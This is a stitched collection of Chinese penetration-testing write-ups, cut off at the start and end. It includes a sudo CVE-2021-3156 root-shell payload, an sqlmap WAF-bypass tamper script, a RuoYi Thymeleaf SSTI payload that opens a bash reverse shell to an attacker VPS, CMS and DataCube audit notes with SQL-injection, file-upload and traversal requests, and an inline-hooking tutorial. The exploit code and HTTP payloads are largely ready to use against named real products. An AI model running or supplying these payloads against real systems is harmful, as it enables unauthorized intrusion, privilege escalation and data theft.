","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL}; execve("/usr/local/bin/sudoedit",argv,env); } 覆盖结果如上 拼接完成后会执行 /* Construct shared object name. */ __st***y (__st***y (__st***y (__st***y (shlib_name, "libnss_"), ni->name), ".so"), __nss_shlib_revision); ni->library->lib_handle = __libc_dlopen (shlib_name); if (ni->library->lib_handle == NULL) { /* Failed to load the library. */ ni->library->lib_handle = (void *) -1l; __set_errno (saved_errno); } 通过__libc_dlopen打开文件 4 提权收工 最后编译后门test.so.2,并放入libnss_XXX文件夹 这里借用CVE-2021-3156:sudo堆溢出提权漏洞分析-腾讯云开发者社区-腾讯云 (tencent.com)中的代码 #define _GNU_SOURCE #include #include #include #define EXECVE_SHELL_PATH "/bin/sh" static void __attribute__ ((constructor)) pop_shell(void); char *n[] = {NULL}; void pop_shell(void) { printf("[+] executed!\n"); setresuid(0, 0, 0); setresgid(0, 0, 0); if(getuid() == 0) { puts("[+] we are root!"); } else { puts("[-] something went wrong!"); exit(0); } execve(EXECVE_SHELL_PATH, n, n); } gcc -fPIC -shared test.c -o libnss_XXX/test.so.2 chmod 777 libnss_XXX/test.so.2 提权效果 总结 这个老洞新探,还是挺有意思的, 从源码分析到动态调试,整个过程对程序调试的能力有很大的锻炼。在这个洞的利用中,思路是比较清晰的,但在堆排布那里,由于中间会有很多其他的堆块操作是我们不可控,就会存在较大困难,要么通过逆向分析梳理所有的堆块操作然后手动构造,要么就是通过fuzz。前者费时费力,而且存在很多问题,后者需要对fuzz进行一定的学习。在盲目手动构造的过程中,好不容易在service_user之前留下了坑,但还是遇到了几种情况,一是在没有加溢出的时候的service_user结构体的地址和加了溢出字符后的不一样,二是在根本走不到nss_load_library就崩溃了,三是修改了最近的一个service_user结构体,但并没有用。 总的来说,这个洞还有很多可以学习的地方,后面学学fuzz后再来试试这个洞。
拿到这个网站,通过对比查询,我们发现 闭合参数 finsh 时,查询出的内容更多 经过进一步判断,确实存在漏洞 不过在测试的时候发现存在一定的过滤 但是可以通过内联注释进行绕过。 这里也是加深了解了内联注释的知识点,之前只会简单的利用 /*!50000UniON SeLeCt*/ /*!12345union*/不知其所以然,有这样一段解释,在 mysql 中 /*!...*/不是注释,mysql 为了保持兼容,它把一些特有的仅在 mysql 上用的语句放在 /*!...*/中,这样这些语句如果在其他数据库中是不会被执行,但是在 mysql 中它会执行。当后面接的数据库版本号小于自身版本号,就会将注释中的内容执行,当后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。如下语句 /*!50001UniON SeLeCt*/ 这里的 50001 表示假如数据库的版本是 5.00.01 及其以上版本才会被使用。这里我们会产生一个疑问,数据库的版本也不仅仅是五位数字,也存在四位,甚至于三位,应该是会进行处理 5.7.23 也对应着 5.07.23 我们首先查询出数据库的版本信息 当前面的数字为 50723 及小于这个数的五位数字组合都可以利用成功 当前面的数字为 50724 及大于这个数的五位数字组合无法利用成功 我们已经手工验证过了存在 SQL 注入漏洞,但是却无法利用 sqlmap 识别出联合注入,是因为存在检测,需要内联注释进行绕过 我们需要编写一个Tamper脚本 我们打开 sqlmap-master\tamper 下的一个文件 htmlencode.py 我们看到就是一个查找替换的操作 我们目前已经知道需要利用内联注释来实现绕过检测的操作 我们修改代码 import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ') >>> tamper("1' AND SLEEP(5)#") '1'/!*00000AND SLEEP(5)*/#' """ if payload: replaced_text = payload replace_code = re.search(r"'(.*?)(#|--)", payload) if replace_code: replaced_text = re.sub(r"(?<=')(.*?)(?=#|--)", r"/!*00000\1*/", payload) return replaced_text 成功生效
记一次攻防演练中幸运的从若依弱口令到后台getshell的过程和分析。 0x01 漏洞发现 首先,我会先把目标的二级域名拿去使用搜索引擎来搜索收集到包含这个目标二级域名的三级域名或者四级域名的网站。 这样子可以快速的定位到你所要测试的漏洞资产。 1、推荐三个比较实用的搜索引擎: 奇安信-鹰图平台:https://hunter.qianxin.com/ 360-quake: https://quake.360.net/ fofa: https://fofa.info/ 搜索语法:domain="二级域名" 2、通过一番搜索查找翻阅,幸运女神光顾~~~。 通过搜索引擎搜索到包含目标的二级域名找到关于目标的的一个三级域名,而且还是漏洞百出的若依系统。 经典:你若不离不弃,我必生死相依 基于SpringBoot的权限管理系统,核心技术采用Spring、MyBatis、Shiro没有任何其它重度依赖 0x02 漏洞分析 Thymeleaf模板注入漏洞简介 Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用th:fragment、 , th:text 这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为@ResponseBody 和 @RestController 不会进行View解析而是直接返回。所以这同样是修复方式。 漏洞点 Server-Side Template Injection简称SSTI,也就是服务器端模板注入。 我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。在Controller层,我们关注两点:1、URL路径可控。2、return内容可控。所谓可控,也就是接受输入。 1、URL路径可控 @RequestMapping("/hello") public class HelloController { @RequestMapping("/whoami/{name}/{sex}") public String hello(@PathVariable("name") String name, @PathVariable("sex") String sex){ return "Hello" + name + sex; } } return内容可控 @PostMapping("/getNames") public String getCacheNames(String fragment, ModelMap mmap) { mmap.put("cacheNames", cacheService.getCacheNames()); return prefix + "/cache::" + fragment; } return内容可控: \_\_${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI nputStream()).next()}\_\_::.x URL路径可控: \_\_${T(java.lang.Runtime).getRuntime().exec("touch test")}\_\_::.x 2、Ruoyi使用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器: http://xxxxxx/monitor/cache/getNames http://xxxxxx/monitor/cache/getKeys http://xxxxxx/monitor/cache/getValue http://xxxxxx/demo/form/localrefresh/task 通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下: @PostMapping("/getNames") public String getCacheNames(String fragment, ModelMap mmap) { mmap.put("cacheNames", cacheService.getCacheNames()); return prefix + "/cache::" + fragment; } 简单理解:接收到 fragment 后,在return处进行了模板路径拼接。根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别为 /getNames , /getKeys , /getValue ,请求参数均为fragment 。 这四段接口方法中,都使用了thymeleaf的语法: "/xxx::" + fragment; 我们构造fragment的值为: url编码: %24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%64%6e%73%6c%6f%67%30%40%22%29%7d ↓ ${T (java.lang.Runtime).getRuntime().exec("curl dnslog地址")} 当我们构造的模板片段被thymeleaf解析时,thymeleaf会将识别出fragment为SpringEL表达式。不管是?fragment=header(payload)还是?fragment=payload 但是,在执行SpringEL表达式之前,thymeleaf会去检查参数值中是否使用了"T(SomeClass)"或者"new SomeClass" 这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以执行SpringEL表达式。 因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。 漏洞影响:RuoYi & /dev/tcp/vps IP/5566 0>&1 构造fragment的值,把上面使用base64的编码放入下面的payload编码成url编码 ${T (java.lang.Runtime).getRuntime().exec("bash \-c {echo,L2Jpbi9iYXNooC1poD4moC9kZXYvdGNwL3ZwcyBJUC81NTY2oDA+JjE=}|{base64,-d}|{bash,-i}")} 把前面拦截到的访问/monitor/cache/getNames路径的数据包更改请求方式为POST,更改完请求方式后在访问路径后面拼接上我们刚刚经过url编码构造fragment的值。 /monitor/cache/getNames?fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%a0%5c%2d%63%20%7b%65%63%68%6f%2c%4c%32%4a%70%62%69%39%69%59%58%4e%6f%6f%43%31%70%6f%44%34%6d%6f%43%39%6b%5a%58%59%76%64%47%4e%77%4c%33%5a%77%63%79%42%4a%55%43%38%31%4e%54%59%32%6f%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%7d 3、在vps上面使用nc监听5566端口,接收反弹shell。 把刚刚更改了请求方式为POST,拼接上url编码构造fragment的值的数据包发送出去,可以发到重发器多发几遍。 返回包返回状态200,应该是执行成功了。 回到vps查看监听状态,nice!!!成功,拿下拿下。 漏洞挖掘的过程中要有耐心、细心,把能试的漏洞都试一试,反正试一试又不要钱,说不定就getshell了呢。。。。。。 0x04 修复建议 把若依系统更新到最新版本。
前言 导入地址表钩取的方法容易实现但是存在缺陷,若需要钩取的函数不存在导入地址表中,那么我们就无法进行钩取,出现以下几种情况时,导入函数是不会存储在导入地址表中的。 延迟加载:当导入函数还没调用时,导入函数还未写入到导入地址表中。 动态链接:使用LoadLibrary与GetProcAddress函数时,程序是显示获取函数地址的,因此不会写入到导入地址表中。 手动解析导入函数:即程序自身实现一套导入方法,那么此时也不会将导入函数写入到导入地址表中。 有一种钩取方法解决上述问题即内联钩取(inline hook)。 内联钩取(inline hook) 内联钩取实际是找到需要钩取的函数地址,这里与导入地址表钩取不同的是我们不再局限于导入地址表,而是程序中所有的函数地址都能够作为钩取的对象。 这里以CreateProcessW函数为例,在CreateProcessW函数中,第一条指令是mov edi,edi 那么根据钩取的思路,我们将mov edi,edi这条指令修改为jmp xxx(xxx为我们自定义函数的地址),那么在执行CreateaProcessW函数时即可跳转到我们的自定义函数中。 我们获取mov edi,edi指令的地址,并且将该指令篡改为jmp指令,并且把mov edi,edi指令的数据进行存储,那么在执行到CreateProcessW函数时就会执行jmp指令跳转到自定义函数中,在钩取操作时需要将指令写回,还原CreateProcessW函数的执行逻辑,就可以在钩取的同时无碍的执行程序。 那么总结一下内联钩取函数的流程 找到需要钩取的函数的指令地址,这个指令并不仅限于函数起始的指令。 将该指令篡改成跳转指令,跳转的目的就是自定义的函数。 在自定义函数内需要还原被钩取函数的指令。 因此内联钩取的实际就是修改程序执行逻辑,劫持程序的执行流程。由于32位程序与64位程序的汇编语言与寻址方式有些许差异,因此不同机器位数的程序的内联钩取方式不同。 机器码的获取 由于在篡改内存时需要将jmp xxx的机器码填写到内存中,因此做内联钩取时需要获取指令对应的机器码。在C语言中支持内联汇编,因此可以使用内联汇编然后查看对应的机器码即可。 但是直接使用visual studio编译64位程序的内联汇编代码会出错,这是因为visual studio自带的编译工具不支持x64的内联汇编。 因此需要先安装clang编译器 在项目的编译工具选择clang即可 在反汇编窗口中就有机器码了。 32位的内联钩取 首先第一步是确定在32位程序下是如何进行跳转的,在32位情况使用跳转指令是根据偏移获取目的地址,偏移的计算公式如下 跳转偏移 = 跳转目的地址 - 当前指令地址 - 指令长度 因此jmp xxx中,xxx是偏移值而不是目的函数的绝对地址。 紧接着需要确定在32位下跳转指令的机器码是多少,用下面例子看看 void MyCreateProcess() { } int main() { __asm { jmp MyCreateProcess; }; } 可以看到对应的机器码为E9 EB FF FF FF 可以看到目标函数的地址为0xA71000,使用上述公式计算一下偏移为0xA71000 - 0x0A71010 - 5 = 0xffffffeb,因此E9为jmp的机器码 因此需要将待钩取函数的第一条指令修改为E9 XX XX XX XX XX,长度为5个字节 然后选择一个目标函数,这里还是使用CreateProcessW函数作为例子,需要先获取CreateProcessW函数的地址 ... hMoudle = GetModuleHandleA(szDllName); //获取Kernel32.dll模块的地址 if (hMoudle == NULL) { GetLastError(); } pfnOld = GetProcAddress(hMoudle, funName);//获取CreateProcessW函数地址 if (pfnOld == NULL) { GetLastError(); } ... 然后需要保存原始指令,然后修改区域为可写权限,紧接着计算一下偏移把完整的指令写进到待钩取函数即可。 ... //修改权限 VirtualProtect(pfnOld, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); //存储原始的5个字节 memcpy(pOrgBytes, pfnOld, 5); //计算需要跳转到的地址 //跳转偏移 = 跳转目的地址 - 当前指令地址 - 指令长度 dwAddress = (ULONGLONG)pfnNew - (ULONGLONG)pfnOld - 5; //将目标函数的地址写入到指令中 memcpy(&pBuf[1], &dwAddress, 4); //篡改为跳转指令 memcpy(pfnOld, pBuf, 5); //还原权限 VirtualProtect(pfnOld, 5, dwOldProtect, &dwOldProtect); ... 64位的内联钩取 64位下的规则会与32位有差异,但是总体思路是一致的。在32位下我们采用了偏移的方式找到目标函数,在64位下可以换种方式,采用mov rax, xxx; jmp rax,将函数的绝对地址写入寄存器,然后跳转到指定寄存器的方式。 如下例子,我们首先获取自定义函数的绝对地址,紧接着将它存放于寄存器中,紧接着跳转即可。 int main() { __asm { mov rax, 0x1122334455667788; jmp rax; }; } 可以看到mov rax, xxx; jmp rax指令的机器码为48 B8 xx xx xx xx xx xx xx xx FF E0,其中由于64位地址都是8字节的,因此需要xx需要填充8字节 因此总体代码与32位区别不大,这里需要注意的是篡改的指令长度需要根据实际进行更改。 /* * 48 B8 88 77 66 55 44 33 22 11 mov rax, 0x1122334455667788 * FF E0 jmp rax * 需要12个字节进行跳转 */ //修改区域权限 VirtualProtect((LPVOID)pfnOrg, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect); //保存原有的12字节数据 memcpy(pOrgBytes, pfnOrg, 12); //将HOOK函数的地址填进缓冲区 //将目标地址拷贝到指令中 memcpy(&pBuf[2], &pfnNew, 8); //篡改待钩取函数 memcpy(pfnOrg, pBuf, 12); //恢复权限 VirtualProtect((LPVOID)pfnOrg, 12, dwOldProtect, &dwOldProtect); 因此任意可以修改函数执行流程的汇编指令实际都可以例如push xxx; ret。 完整代码可以参考: https://github.com/h0pe-ay/HookTechnology/tree/main/Hook-InlineHook 总结 优势 内联钩取相较于导入表钩取的选择性更广,可以选择任意的函数及函数内的任意指令地址。 劣势 每次都需要脱钩后再进行挂钩,影响效率 多线程写入时可能会出错
本次代码审计使用了白加黑的手法,用黑盒的视角测试功能点,用白盒的方式作为验证。 0x1 XSS guestbook处,可以看到有一个留言板 idea搜索guestbook。发现代码如下,其中的getModel是获取数据的方法。Guestbook.class就是具体要获取的数据。 跟进Guestbook.class查看,发现GuestBook继承自BaseGuestbook 继续跟进BaseGuestbook可以发现http请求的数据,没有发现有过滤函数。 然后使用管理员登录后台查看留言,发现确实如我所想,存在xss漏洞。 ps:审计小技巧,开启sql日志然后一边打payload一边看记事本是否漏掉过滤哪些字符。这里是完全没有过滤,所以在出库的时候如果没有防护,基本上就是实锤xss了。 0x2 SQL注入 在产品中心发现有一个搜索框 看到源码,没有发现有过滤字符,这里采用之前开启的mysql日志,通过日志文件的sql语句判断是否有过滤。 直接输入单引号发现该cms返回500报错,很有可能存在sql注入。 于是使用两个单引号''使得系统不抛出异常,然后查看日志文件中发现sql语句没有过滤单引号,说明注入确实存在。 or 1 结果 or 0结果 注入确实存在 0x3 文件下载 /common/down路由中的file方法,直接获取http请求中的filekey参数,并且没有过滤../等关键字符。fileKey的值和PathKit.getWebRootPath()函数的返回值拼接。然后fileKey其实就是http中的参数。 ps:该路由不在前台,只能通过白盒的方式去进行,但是后续通过github上的fuzz字典发现也可以fuzz得到但是fuzz发包数量巨大不作为参考。但是日后如果实在挖不出洞,可以考虑多fuzz一下,也许就出货了也说不准。这里用的字典较大,其实可以考虑小一些的字典,算是个人的一些挖洞经验吧。 参数的fuzz 0x4 csrf 在系统管理-> 系统用户 -> 添加用户处,抓包然后使用burp生成csrf poc 保存至html后,点击submit request 可以看到用户被成功添加了 0x5 组合拳+sql备份getshell未果(条件较为苛刻) 这里是想getshell来着,毕竟都白盒了,当然能getshell就getshell,不能getshell就想办法getshell了。这里是发现后台上传接口,过滤了jsp,jspx文件名。 发现公司管理->基础内容->公司信息有上传图片 上传jsp文件,jspx文件均被拦截。 然后发现系统管理->数据库管理处发现可以进行数据库备份还原操作。在数据库还原抓包,发现是一个sql文件名字。这里想到之前的任意文件下载,那么岂不是可以通过上传一个sql文件,然后通过备份这个sql文件进行数据库备份getshell。 首先去下载备份好的sql文件,路径在static/back/文件名 然后添加getshell的payload 然后上传该sql文件,注意需要改后缀名为png 然后sql备份处填写上文件名,使用../让系统跨目录读取png图片 然后查看payload上的1.jsp是否成功生成。 访问的时候失败了,无法解析jsp,jspx等文件,但是服务器确实有写入了jsp文件 得到了两个前置条件 需要知道系统的绝对路径 系统下得开启其他能够解析的应用(如另外一个java系统在其他端口上,但是能够解析jsp,就可以通过该cms的漏洞在其他系统上写webshell,也算是一个任意文件写入,做到了"隔山打牛") 0x6 默认密码 一个比较容易忽略的点,通常admin的默认密码管理员基本都会在部署网站之后马上修改,但是如果类似有几个账户的情况下,管理员可能会忽略掉其他用户的默认密码。这里可以直接看sql文件。在其sql文件下发现有两个默认账号一个是admin,一个是read。 read登录成功 0x7 总结 本次代码审计强化学习了白+黑的方式,更加简单的找出了漏洞,有些地方还欠缺一些思路,比如0x5rce那一块,想着是不是可以写一个class文件达到rce的效果。或者覆盖掉原本的xml文件之类的操作,不允许上传jsp,jspx文件是否可以通过上传war包来进行getshell。总之觉得还有诸多不足,篇幅关系记录到这。
好久前偶遇一个站点,前前后后大概挖了三个月才基本测试完毕,出了好多漏洞,也有不少高危,现在对部分高危漏洞进行总结分析。 nday进后台: 开局一个登录框: 通过熊猫头插件提取接口,并结合js分析,跑遍了提取到的路径也没有结果。尝试弱口令登录,但是由于连用户名提示都没有,也以失败告终。最后根据页面title关键字搜索找到该平台的权限绕过nday成功进入后台。 语句:xxx系统历史漏洞 or xxx平台历史漏洞 如上图,拼接payload,通过/../..;号实现权限绕过: 302跳转进入后台,发现为管理员界面。 进入一个系统时,一定不要着急马上测试,要先总体看看这个系统的功能点,基本结构,布局,然后再将功能点转化为数据包,接口,参数进行测试。 总体看了看系统功能点,便点进个人信息处,尝试文件上传漏洞getshell。 点击选择,随后页面进行了一个奇怪的跳转:新开了一个页面 我先尝试文件上传,不过只能上传图片格式,我观察到该文件路径中存在:type=images,于是尝试将images自行修改,不过这种页面居然不能修改url,于是复制url放到正常浏览器访问,尝试修改无果。 发现页面存在修改文件后缀功能,但也被限制。 这时我发现站点采用了ckfinder编辑器,于是按照:xxx历史漏洞继续搜索:\ 翻看大量文章后并未发现能成功复现的漏洞,但我发现了ckfinder的一个新路径: 将url的?后面全部删除进入如下界面: 这时发现刚才原来只是处于images文件夹下,所以被限制很严格。 于是我再次在files文件夹下上传可执行文件,但jsp和php之类均被限制,jspf或者jspx也无法绕过,只有尝试xss类型文件上传了: 上传发现关键字被黑名单限制,于是先上传了一个空的txt文档,上传后再对内容,后缀名进行修改: 修改如下: 双击访问: 成功执行恶意js代码,造成弹窗,这种漏洞就会很容易在管理员访问时,直接将cookie盗取。 同时记住,想这种功能点,属于站点较为深入的功能点处,还极可能存在未授权访问漏洞,删除认证字段访问: 访问成功,由此获得未授权访问加xss类型文件上传漏洞。 这种类型漏洞就可用作挂马,制作钓鱼页面等高危害操作。 多处sql注入漏洞: 该站点功能点很多,这也是为什么我测了很久的原因: 注入点1: 经过翻找发现如下页面,可直接执行sql语句: 输入sql语句抓包查看: 延时成功,虽然从设计功能点来看,这其实并不能算是漏洞,因为本身开发者就是要这么设计的,但在挖掘漏洞时,这种功能点依旧可以通过审核,且在实战中如果这类功能点没有做好权限限制,也能利用sql语句获取敏感信息,写马,修改账户密码等。 注入点2: 功能点如下,此站点查询功能点极其多,但并不是每一个都有漏洞,所以黑盒测试就需要一个个慢慢测试: 抓包,输入单引号报错,两个单引号页面正常,尝试sql手注: 利用堆叠注入延时成功。 数据库的遍历: 继续探索,发现如下页面: 先前便提到过,黑河测试一定要将功能点转化为数据包,接口,参数进行测试,不然这时我可能只会看到一个数据库信息而已。 我翻看该功能点数据包时,直接就发现了展现该页面的请求包与返回数据: 如上图,泄露了数据库地址,账户密码。 但此时注意请求包参数:id=1,很明显,我直接遍历id值: 在前端其实只能看到一个数据库的地址,用户密码。也就是id=1时的数据,而转化为数据包观察,直接实现数据库信息遍历,拿下五台数据库敏感信息,包含mysql,oracle等类型,危害瞬间扩大。
在这里分享一下通过拖取 DataCube 代码审计后发现的一些漏洞,包括前台的文件上传,信息泄露出账号密码,后台的文件上传。当然还有部分 SQL 注入漏洞,因为 DataCube 采用的是 SQLite 的数据库,所以SQL 注入相对来说显得就很鸡肋。当然可能还有没有发现的漏洞,可以互相讨论。 phpinfo 泄露 SQL注入 无回显的SQL注入 /DataCube/www/admin/setting_schedule.php SQLite 没有sleep()函数,但是可以用 randomblob(N) 来制造延时。randomblob(N)函数是SQLite数据库中的一个常用函数,它的作用是生成一个指定长度的随机二进制字符串。 正常请求时间 POST /admin/setting_schedule.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Connection: close datetime=2024-04-24+02%3A00'+or+randomblob(9000000000000000000000000)+and+'1&tbl_type=fs&delete=1 延时响应 判断对应的 SQLite 的版本号 POST /admin/setting_schedule.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close datetime=-1'or+(case+when(substr(sqlite_version(),1,1) ------WebKitFormBoundaryb8tU2iptV70lGozq Content-Disposition: form-data; name="usb_schedule" 1 ------WebKitFormBoundaryb8tU2iptV70lGozq-- 后台任意文件上传 www\admin\setting_photo.php www\admin\setting_photo.php#insertPhoto www\admin\images.php 登录后获取参数 accesstime 的值 将值替换到数据包中 POST /admin/setting_photo.php HTTP/1.1 Content-Length: 414 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydzDlRcTHEmG3mohY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundarydzDlRcTHEmG3mohY Content-Disposition: form-data; name="add" 1 ------WebKitFormBoundarydzDlRcTHEmG3mohY Content-Disposition: form-data; name="addPhoto"; filename="test.php" Content-Type: image/jpeg ------WebKitFormBoundarydzDlRcTHEmG3mohY Content-Disposition: form-data; name="accesstime" 0.05027100 1713945976 ------WebKitFormBoundarydzDlRcTHEmG3mohY-- 成功将文件上传到 /images/slideshow/ 目录下 尚未解决的后台SQL注入 类似的注入有很多,但是每一次都进行了 accesstime 的校验,所以需要不停的从页面上获取,这里仅从一处来进行探讨 www\admin\config_time_sync.php www\admin\Util.class.php#TblConfUpdate 我们很明显的可以看到这里的SQL 语句是我们可控的 首先请求页面 /admin/config_time_sync.php 来获取一个 accesstime 值 再构造请求进行发包 我们将执行的 SQL 语句打印出来 BEGIN EXCLUSIVE;delete from tbl_conf where key = 'ntp.enable';insert into tbl_conf values('ntp.enable', 'true');select randomblob(999900000000000000000000000);select ('1');COMMIT;BEGIN EXCLUSIVE;delete from tbl_conf where key = 